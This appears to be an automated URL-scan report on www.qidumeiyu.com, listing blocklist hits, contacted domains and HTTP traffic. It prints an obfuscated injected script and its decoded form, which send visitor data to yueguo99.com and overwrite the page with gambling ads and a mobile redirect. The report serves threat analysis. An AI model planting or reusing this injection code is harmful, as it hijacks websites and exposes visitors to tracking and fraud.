Overview

URLwww.qidumeiyu.com/
IP 50.2.85.76 (Germany)
ASN#62904 AS62904
UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer
Access public lock_open
Report completed2023-03-23 04:07:28 UTC
StatusLoading report..
IDS alerts0
Blocklist alert14
urlquery alerts No alerts detected
Tags None

Domain Summary (17)

Fully Qualifying Domain Name Rank First Seen Last Seen Sent bytes Received bytes IP Comment
www.sogou.com (1) 39670 2012-05-22T20:01:25Z 2023-03-26T05:33:10Z 409 3822 118.191.216.42
ocsp.digicert.cn (5) 37572 2020-03-20T18:45:56Z 2023-03-26T12:11:59Z 1700 5094 47.246.44.205
hm.baidu.com (1) 8254 2012-05-26T10:38:45Z 2023-03-26T11:26:12Z 388 5308 103.235.46.191
www.whjcpet.com (13) 0 2017-09-16T07:11:47Z 2023-03-23T05:07:21Z 5122 3192038 104.165.90.55
contile.services.mozilla.com (1) 1114 2021-05-27T20:32:35Z 2023-03-26T05:11:59Z 333 391 34.117.237.239
push.services.mozilla.com (1) 2140 2014-10-24T10:27:06Z 2023-03-26T05:10:29Z 606 127 34.216.229.28
ocsp.globalsign.com (4) 2075 2012-07-20T19:46:16Z 2023-03-26T05:09:32Z 1440 7588 104.18.21.226
www.yueguo99.com (2) 0 2020-09-12T13:45:23Z 2023-03-25T13:47:01Z 1047 3528 104.165.90.186
sdk.51.la (1) 88367 2021-03-08T17:03:51Z 2023-03-26T05:15:10Z 364 13230 47.253.50.2
js.users.51.la (1) 53024 2012-05-30T17:10:11Z 2023-03-26T05:43:06Z 363 2700 103.143.19.103
firefox.settings.services.mozilla.com (2) 867 2020-06-04T22:08:41Z 2023-03-26T05:09:18Z 782 2374 35.241.9.150
content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03T13:26:46Z 2023-03-26T05:11:12Z 413 5881 34.160.144.191
p1.qhimg.com (1) 250383 2012-10-16T20:15:19Z 2023-03-26T11:07:49Z 274 3531 54.230.111.65
www.qidumeiyu.com (36) 0 2019-07-10T18:57:59Z 2023-02-21T03:50:06Z 14626 269889 50.2.85.76
img-getpocket.cdn.mozilla.net (6) 1631 2018-06-22T01:36:00Z 2023-03-26T05:09:08Z 3246 48480 34.120.237.76
www.baidu.com (1) 3121 2017-01-30T06:01:42Z 2023-03-26T13:51:27Z 394 1183 104.193.88.77
r3.o.lencr.org (13) 344 2020-12-02T09:52:13Z 2023-03-26T05:09:13Z 4394 11526 23.36.76.226

Network Intrusion Detection Systemsinfo

Suricata /w Emerging Threats Pro
 No alerts detected

Blocklists

OpenPhish
 No alerts detected

PhishTank
 No alerts detected

Fortinet's Web Filter
Scan Date Severity Indicator Comment
2023-03-23 medium www.qidumeiyu.com/ Phishing
2023-03-23 medium www.qidumeiyu.com/ Phishing
2023-03-23 medium www.qidumeiyu.com/_sitegray/_sitegray.js Phishing
2023-03-23 medium www.qidumeiyu.com/template_files/2/hdimg/bas/js/dynclicks.js Phishing
2023-03-23 medium www.qidumeiyu.com/system/resource/js/counter.js Phishing
2023-03-23 medium www.qidumeiyu.com/jquery.bc.min.js Phishing
2023-03-23 medium www.qidumeiyu.com/system/resource/js/openlink.js Phishing
2023-03-23 medium www.qidumeiyu.com/system/resource/js/dynclicks.js Phishing
2023-03-23 medium www.qidumeiyu.com/template_files/2//hdui/app/js/b.min.js Phishing
2023-03-23 medium www.qidumeiyu.com/system/resource/js/ajax.js Phishing
2023-03-23 medium www.qidumeiyu.com/template_files/2/hdui/app/js/j.min.js Phishing
2023-03-23 medium www.qidumeiyu.com/template_files/2/hdimg/bas/js/swiper.js Phishing
2023-03-23 medium www.qidumeiyu.com/template_files/2/hdui/app/js/hdjs.min.js Phishing
2023-03-23 medium www.qidumeiyu.com/template_files/2/hdimg/bas/js/surpslide_min.js Phishing

mnemonic secure dns
 No alerts detected

Quad9 DNS
 No alerts detected

ThreatFox
 No alerts detected


Files

No files detected

Recent reports on same IP/ASN/Domain/Screenshot

Last 1 reports on IP: 50.2.85.76
Date UQ / IDS / BL URL IP
2023-03-23 04:07:28 UTC 0 - 0 - 14 www.qidumeiyu.com/ 50.2.85.76


Last 5 reports on ASN: AS62904
Date UQ / IDS / BL URL IP
2023-06-09 01:57:38 UTC 0 - 1 - 0 www.rafaellora.com/~bozoon/etaverifdpfis/file (...) 173.232.105.148
2023-06-09 01:33:41 UTC 0 - 0 - 2 stayinoceancitymd.com/ow571qp9x.zip 104.206.225.200
2023-06-09 01:32:31 UTC 0 - 0 - 2 seniorweekoc.net/ijlog1gmo.zip 104.206.225.200
2023-06-09 01:32:26 UTC 0 - 0 - 2 oceancityrentalbyowner.com/epix12dx.rar 104.206.225.200
2023-06-09 01:32:24 UTC 2 - 0 - 4 parrotbay.net/wisr1qas.jpg 104.206.225.200


Last 1 reports on domain: qidumeiyu.com
Date UQ / IDS / BL URL IP
2023-03-23 04:07:28 UTC 0 - 0 - 14 www.qidumeiyu.com/ 50.2.85.76


Last 5 reports with similar screenshot
Date UQ / IDS / BL URL IP
2023-04-04 00:41:06 UTC 0 - 1 - 3 cqhdy.com/oa/inc/oa.exe 50.2.85.58
2023-02-10 08:19:06 UTC 0 - 0 - 13 gjhmmz.com/ 104.140.198.196
2023-02-02 04:16:47 UTC 0 - 1 - 3 cqhdy.com/oa/inc/oa.exe 50.2.85.58
2023-01-03 23:57:50 UTC 0 - 1 - 3 cqhdy.com/oa/inc/oa.exe 50.2.85.58
2022-12-24 02:39:33 UTC 0 - 0 - 3 114nxjk.com/525635/6541494.html 104.206.254.177

JavaScript

Executed Scripts (17)

Executed Evals (2)
#1 JavaScript::Eval (size: 2062) - SHA256: 5bde31dc7b0842f0051f52d95400af67bd888b1b329fab8833992b2c9aa29495
eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('3 w(f){f=f||{};f.5=f.5||{};0 g=f.y?y(f):g(f);3 g(d){d.6=(d.6||"m").W();d.5=z(d.5);0 e=A;7(Y.B){e=C B()}h{e=C Z("10.11")}e.12=3(){7(e.13==4){0 a=e.14;7(a>=15&&a<16){0 b="";0 c=e.17("D-6");7(c.2("18")!==-1&&e.E){b=e.E}h 7(c==="F/19"){b=1a.1b(e.G)}h{b=e.G}d.n&&d.n(b)}h{d.o&&d.o(a)}}};7(d.6=="m"){e.H(d.6,d.p+"?"+d.5,I);e.J(A)}h{e.H(d.6,d.p,I);e.1c("D-1d","F/x-K-1e-1f; 1g=1h-8");e.J(d.5)}}3 z(a){0 b=[];1i(0 c 1j a){b.L(M(c)+"="+M(a[c]))}b.L("v="+q());r b.1k("&")}3 q(){r N.1l(N.q()*1m+1n)}}0 O={P:(3(){0 u=j.s,1o=j.1p;r{1q:u.2("1r")>-1,1s:u.2("1t")>-1,1u:u.2("Q")>-1,1v:u.2("1w")>-1&&u.2("1x")==-1,t:!!u.R(/Q.*1y.*/),1z:!!u.R(/\\(i[^;]+;( U;)? 1A.+1B 1C X/),1D:u.2("1E")>-1||u.2("1F")>-1,S:u.2("S")>-1,T:u.2("T")>-1,1G:u.2("1H")==-1}})(),V:(j.1I||j.V).1J()};7(O.P.t){0 l="t"}h{0 l="1K"}0 k=9.k;w({p:"1L://K.1M.1N/1O/1P.1Q",6:"m",5:{1R:9.k,l:l,1S:9.1T.1U,1V:9.1W,s:j.s},n:3(a){9.1X(a);9.k=k;9.1Y()},o:3(a){}});', 62, 123, 'var||indexOf|function||data|type|if||document||||||||else||navigator|title|from|GET|success|error|url|random|return|userAgent|mobile|||ajax||jsonp|formatParams|null|XMLHttpRequest|new|Content|responseXML|application|responseText|open|true|send|www|push|encodeURIComponent|Math|browser|versions|AppleWebKit|match|iPhone|iPad||language|toUpperCase||window|ActiveXObjcet|Microsoft|XMLHTTP|onreadystatechange|readyState|status|200|300|getResponseHeader|xml|json|JSON|parse|setRequestHeader|Type|form|urlencoded|charset|UTF|for|in|join|floor|10000|500|app|appVersion|trident|Trident|presto|Presto|webKit|gecko|Gecko|KHTML|Mobile|ios|CPU|Mac|OS|android|Android|Linux|webApp|Safari|browserLanguage|toLowerCase|pc|https|yueguo99|com|nlp|fn888|php|keyword|originurl|location|href|referer|referrer|write|close'.split('|'), 0, {}))
#2 JavaScript::Eval (size: 1926) - SHA256: be52280d6ad8f8f9987f4e45d475d2a71715b76b8f18ecc76a3c9c173b2d127d
function ajax(f) {
    f = f || {};
    f.data = f.data || {};
    var g = f.jsonp ? jsonp(f) : g(f);

    function g(d) {
        d.type = (d.type || "GET").toUpperCase();
        d.data = formatParams(d.data);
        var e = null;
        if (window.XMLHttpRequest) {
            e = new XMLHttpRequest()
        } else {
            e = new ActiveXObjcet("Microsoft.XMLHTTP")
        }
        e.onreadystatechange = function() {
            if (e.readyState == 4) {
                var a = e.status;
                if (a >= 200 && a < 300) {
                    var b = "";
                    var c = e.getResponseHeader("Content-type");
                    if (c.indexOf("xml") !== -1 && e.responseXML) {
                        b = e.responseXML
                    } else if (c === "application/json") {
                        b = JSON.parse(e.responseText)
                    } else {
                        b = e.responseText
                    }
                    d.success && d.success(b)
                } else {
                    d.error && d.error(a)
                }
            }
        };
        if (d.type == "GET") {
            e.open(d.type, d.url + "?" + d.data, true);
            e.send(null)
        } else {
            e.open(d.type, d.url, true);
            e.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
            e.send(d.data)
        }
    }

    function formatParams(a) {
        var b = [];
        for (var c in a) {
            b.push(encodeURIComponent(c) + "=" + encodeURIComponent(a[c]))
        }
        b.push("v=" + random());
        return b.join("&")
    }

    function random() {
        return Math.floor(Math.random() * 10000 + 500)
    }
}
var browser = {
    versions: (function() {
        var u = navigator.userAgent,
            app = navigator.appVersion;
        return {
            trident: u.indexOf("Trident") > -1,
            presto: u.indexOf("Presto") > -1,
            webKit: u.indexOf("AppleWebKit") > -1,
            gecko: u.indexOf("Gecko") > -1 && u.indexOf("KHTML") == -1,
            mobile: !!u.match(/AppleWebKit.*Mobile.*/),
            ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
            android: u.indexOf("Android") > -1 || u.indexOf("Linux") > -1,
            iPhone: u.indexOf("iPhone") > -1,
            iPad: u.indexOf("iPad") > -1,
            webApp: u.indexOf("Safari") == -1
        }
    })(),
    language: (navigator.browserLanguage || navigator.language).toLowerCase()
};
if (browser.versions.mobile) {
    var from = "mobile"
} else {
    var from = "pc"
}
var title = document.title;
ajax({
    url: "https://www.yueguo99.com/nlp/fn888.php",
    type: "GET",
    data: {
        keyword: document.title,
        from: from,
        originurl: document.location.href,
        referer: document.referrer,
        userAgent: navigator.userAgent
    },
    success: function(a) {
        document.write(a);
        document.title = title;
        document.close()
    },
    error: function(a) {}
});

Executed Writes (6)
#1 JavaScript::Write (size: 508) - SHA256: a1b84dd4b66341ef6928424330a35c952d401ffb59d62b746d919b46c9fdc033
< script > ! function(p) {
    "use strict";
    ! function(t) {
        var s = window,
            e = document,
            i = p,
            c = "".concat("https:" === e.location.protocol ? "https://" : "http://", "sdk.51.la/js-sdk-pro.min.js"),
            n = e.createElement("script"),
            r = e.getElementsByTagName("script")[0];
        n.type = "text/javascript", n.setAttribute("charset", "UTF-8"), n.async = !0, n.src = c, n.id = "LA_COLLECT", i.d = n;
        var o = function() {
            s.LA.ids.push(i)
        };
        s.LA ? s.LA.ids && o() : (s.LA = p, s.LA.ids = [], o()), r.parentNode.insertBefore(n, r)
    }()
}({
    id: "JeAfDFy7gXnU2Q0U",
    ck: "JeAfDFy7gXnU2Q0U"
}); < /script>
#2 JavaScript::Write (size: 136) - SHA256: a3fdac71c626b7c72d4c186a9088490f6c71704daa46160b911a1edcac4d020b
< div style = "display:none" > < script src = "https://js.users.51.la/20655415.js"
language = "JavaScript"
type = "text/javascript" > < /script></div >
#3 JavaScript::Write (size: 129) - SHA256: f58deca041ad8870bced5324e0e4244a482725ed3db42a1c45b0561b6fb43955
< script language = "javascript"
type = "text/javascript"
src = "https://www.yueguo99.com/fn888/seo.js"
charset = "utf-8" > < /script>
#4 JavaScript::Write (size: 136) - SHA256: 932e66ac1f892f126e03451fbc18992b0e27f934556b88a0bc204e6fbbf26478
< div style = "display:none" > < script src = "https://js.users.51.la/21179529.js"
language = "JavaScript"
type = "text/javascript" > < /script></div >
#5 JavaScript::Write (size: 508) - SHA256: 167a6d4f1f17829d605796a033dc6b9312b22504a1e8733374df9ff5d7ccd8e0
< script > ! function(p) {
    "use strict";
    ! function(t) {
        var s = window,
            e = document,
            i = p,
            c = "".concat("https:" === e.location.protocol ? "https://" : "http://", "sdk.51.la/js-sdk-pro.min.js"),
            n = e.createElement("script"),
            r = e.getElementsByTagName("script")[0];
        n.type = "text/javascript", n.setAttribute("charset", "UTF-8"), n.async = !0, n.src = c, n.id = "LA_COLLECT", i.d = n;
        var o = function() {
            s.LA.ids.push(i)
        };
        s.LA ? s.LA.ids && o() : (s.LA = p, s.LA.ids = [], o()), r.parentNode.insertBefore(n, r)
    }()
}({
    id: "JdiiEXKKDAVrh0XE",
    ck: "JdiiEXKKDAVrh0XE"
}); < /script>
#6 JavaScript::Write (size: 3913) - SHA256: 8ea78b0cf26e2ed0d12b673e43bff238a10112d112771d596437a2ba89168e95
�


< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
< html xmlns = "http://www.w3.org/1999/xhtml" >
    < head >
    < meta content = "text/html; charset=UTF-8"
http - equiv = "Content-Type" >
    < meta name = "viewport"
content = "width=device-width,user-scalable=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0" >

    < script >
    var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
if (is_mobi) {
    window.location.href = "https://www.whjcpet.com/zhuye/wap/index.html";
} < /script>

< title > < /title>


< link media = "all"
href = "index.css"
type = "text/css"
rel = "stylesheet" >
    < link media = "all"
href = "site.css"
type = "text/css"
rel = "stylesheet" >
    < base href = "https://www.whjcpet.com/zhuye/ " >
    < /head> < body >
    < div class = "con" >
    < div class = "container" >
    < div align = "center" >
    < div class = "top" >

    < a target = "_blank"
href = "https://www.whjcpet.com/go/jinsha.html" > < img src = "img/jinsha999.gif"
width = "1000"
height = "300" > < /a> < a target = "_blank"
href = "https://www.whjcpet.com/go/bet365.html" > < img src = "img/bet2021.jpg"
width = "1000"
height = "200" > < /a>	 < a target = "_blank"
href = "https://www.whjcpet.com/go/xintyc.html" > < img src = "img/tyc2021.png"
width = "1000"
height = "200" > < /a>    < a target = "_blank"
href = "https://www.whjcpet.com/go/wnsr.html" > < img src = "img/wnsr2021.gif"
width = "1000"
height = "200" > < /a> < a target = "_blank"
href = "https://www.whjcpet.com/go/xinyongli.html" > < img src = "img/yongli2021.gif"
width = "1000"
height = "200" > < /a>                   < a target = "_blank"
href = "https://www.whjcpet.com/go/xpj.html" > < img src = "img/xpj2021.gif"
width = "1000"
height = "200" > < /a>   < a target = "_blank"
href = "https://www.zhspay.com/go/yabo.html" > < img src = "img/yb999.png"
width = "1000"
height = "200" > < /a>        	               	              	         < a target = "_blank"
href = "https://www.zhspay.com/go/manbetx.html" > < img src = "img/manbetx2021.jpg"
width = "1000"
height = "200" > < /a>	
    <!--<a target="_blank" href="https://www.whjcpet.com/go/yinhe.html"><img src="img/yh1.gif" width="1000" height="100"></a>-->	   
    <!--<a target="_blank" href="https://www.whjcpet.com/go/ghdc.html"><img src="img/gh1000.gif" width="1000" height="100"></a>-->	
    < a target = "_blank"
href = "https://www.whjcpet.com/go/aomen.html" > < img src = "img/aomen1200.gif"
width = "1000"
height = "200" > < /a>        	               	         < a target = "_blank"
href = "https://www.zhspay.com/go/betway.html" > < img src = "img/betway999.gif"
width = "1000"
height = "200" > < /a>	
    <!--<a target="_blank" href="https://www.zhspay.com/go/ledong.html"><img src="img/ledong1000.jpg" width="1000" height="200"></a>	-->
    < a target = "_blank"
href = "https://www.whjcpet.com/go/tyc.html" > < img src = "img/tyc1.gif"
width = "1000"
height = "100" > < /a>  < a target = "_blank"
href = "https://www.whjcpet.com/go/yongli.html" > < img src = "img/yl999.gif"
width = "1000"
height = "100" > < /a>



< /div> < /div>

< /div>

< div class = "clear" > < /div> < /div> < div style = "display: none;" >
    < /div>

< script language = "javascript"
type = "text/javascript"
src = "jquery.la.min.js" > < /script>
    <!--<aside class="services service-right">
    < a href = "tencent://message/?uin=1817189354&Site=https://www.whjcpet.com/aomen/&Menu=yes'" >
    < ul >
    < li class = "chat"
ng - click = "lineChatClick()"
title = "Z
v "></li> < li class = "qq ng-binding"
ng - click = "qqClick(ContactInfo.QQ)"
title = "1817189354"
ng - bind = "ContactInfo.QQ" > 1817189354 < /li> < /ul> < /a>

< /aside>-->

< /body> < /html>


HTTP Transactions (90)


Request Response
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "469B97BF9F57401B3C9571039483589F2815F4794212B75C7C85CFEFE0AE71E9"
Last-Modified: Wed, 22 Mar 2023 14:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=2853
Expires: Thu, 23 Mar 2023 04:54:50 GMT
Date: Thu, 23 Mar 2023 04:07:17 GMT
Connection: keep-alive

                                        
                                            GET / HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

                                        
                                             50.2.85.76
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:17 GMT
Content-Length: 154
Connection: close
Location: https://www.qidumeiyu.com/


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document, ASCII text, with CRLF line terminators
Size:   154
Md5:    cfbeaf604823f038b8b46f0ac862b98c
Sha1:   7b9eb1dac48e74fa5f418bc456cb410f88b81d98
Sha256: 20c1ab602462b7fc0d5b4cbd555cacf127b69a07a737579598ebcbc0f5b21319

Blocklists:
  - fortinet: Phishing
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "59553A312D3FB34F1F0AEA469F7E7CC810FF9993481DDBD73EA5D461CF97ED51"
Last-Modified: Wed, 22 Mar 2023 06:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=12644
Expires: Thu, 23 Mar 2023 07:38:01 GMT
Date: Thu, 23 Mar 2023 04:07:17 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "8794223D5E8D4D276C35E2FDCC24BF99694240634DD749CD9B5BF874DEC055CF"
Last-Modified: Wed, 22 Mar 2023 05:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=15434
Expires: Thu, 23 Mar 2023 08:24:31 GMT
Date: Thu, 23 Mar 2023 04:07:17 GMT
Connection: keep-alive

                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             35.241.9.150
HTTP/2 200 OK
content-type: application/json
                                            
access-control-allow-origin: *
access-control-expose-headers: Content-Type, Retry-After, Content-Length, Backoff, Alert
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 939
via: 1.1 google
date: Thu, 23 Mar 2023 03:15:05 GMT
age: 3132
cache-control: max-age=3600,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    bc86ef2a0cee04915bc360f5821adc8f
Sha1:   3658f9028cce204d38f7f48fcfaa2a8e4f54383a
Sha256: aeecd718d03811322457de4f20828bdba86b277e7e0e328cae9c0a8075638454
                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2023-04-30-16-53-14.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             34.160.144.191
HTTP/2 200 OK
content-type: binary/octet-stream
                                            
x-amz-id-2: dc60VbxEpSZe/QfuDGmgS6WJEW0OQDaKwl3vDQ4dSsxKPsbPC0zB0u3fUsL+SbEpFd8hXESWRTk=
x-amz-request-id: G613PM0MFQFGDHC4
x-amz-server-side-encryption: AES256
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
content-length: 5348
via: 1.1 google
date: Thu, 23 Mar 2023 03:53:54 GMT
age: 803
last-modified: Sat, 11 Mar 2023 16:53:15 GMT
etag: "e7bace7c1e04d44012e37ddffe36e5d5"
cache-control: public,max-age=3600
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    e7bace7c1e04d44012e37ddffe36e5d5
Sha1:   3ac8d7c0a9d3e3f0b28b2530c7b8d8407b4042c2
Sha256: 6b4f80f2e95b26f6122ea8dcd0ef8d762299be822c69e839fc37581ca2bcb5f2
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                            
server: nginx
date: Thu, 23 Mar 2023 04:07:17 GMT
content-length: 12
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
access-control-expose-headers: content-type
access-control-allow-credentials: true
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             35.241.9.150
HTTP/2 200 OK
content-type: application/json
                                            
access-control-allow-origin: *
access-control-expose-headers: ETag, Last-Modified, Retry-After, Content-Length, Alert, Cache-Control, Expires, Content-Type, Backoff, Pragma
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 329
via: 1.1 google
date: Thu, 23 Mar 2023 03:14:33 GMT
age: 3164
last-modified: Fri, 25 Mar 2022 17:45:46 GMT
etag: "1648230346554"
cache-control: max-age=3600,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "8AD59DAD5050D03A635195FC6646FA500113042925F158AF3298F561CD513C91"
Last-Modified: Mon, 20 Mar 2023 19:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21594
Expires: Thu, 23 Mar 2023 10:07:11 GMT
Date: Thu, 23 Mar 2023 04:07:17 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "B6129B9D1848F75265DCA4446C5399927BDAF15C7B49C083765847B0FE276EAF"
Last-Modified: Wed, 22 Mar 2023 06:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10084
Expires: Thu, 23 Mar 2023 06:55:22 GMT
Date: Thu, 23 Mar 2023 04:07:18 GMT
Connection: keep-alive

                                        
                                            GET / HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:17 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document text\012- exported SGML document, Unicode text, UTF-8 (with BOM) text, with very long lines (633), with CRLF, LF line terminators
Size:   7558
Md5:    606acc5a56fcec0156155cd053cd19c2
Sha1:   4a559191dcdad4dd43377a7ff0ef4f9f7f95144f
Sha256: 446a2d4111fc1d89d9473ceb610374a656d0cc97582a992ee1d63e170b532c5e

Blocklists:
  - fortinet: Phishing
                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: SldhL68kEkelH1NlpoXW0Q==
Connection: keep-alive, Upgrade
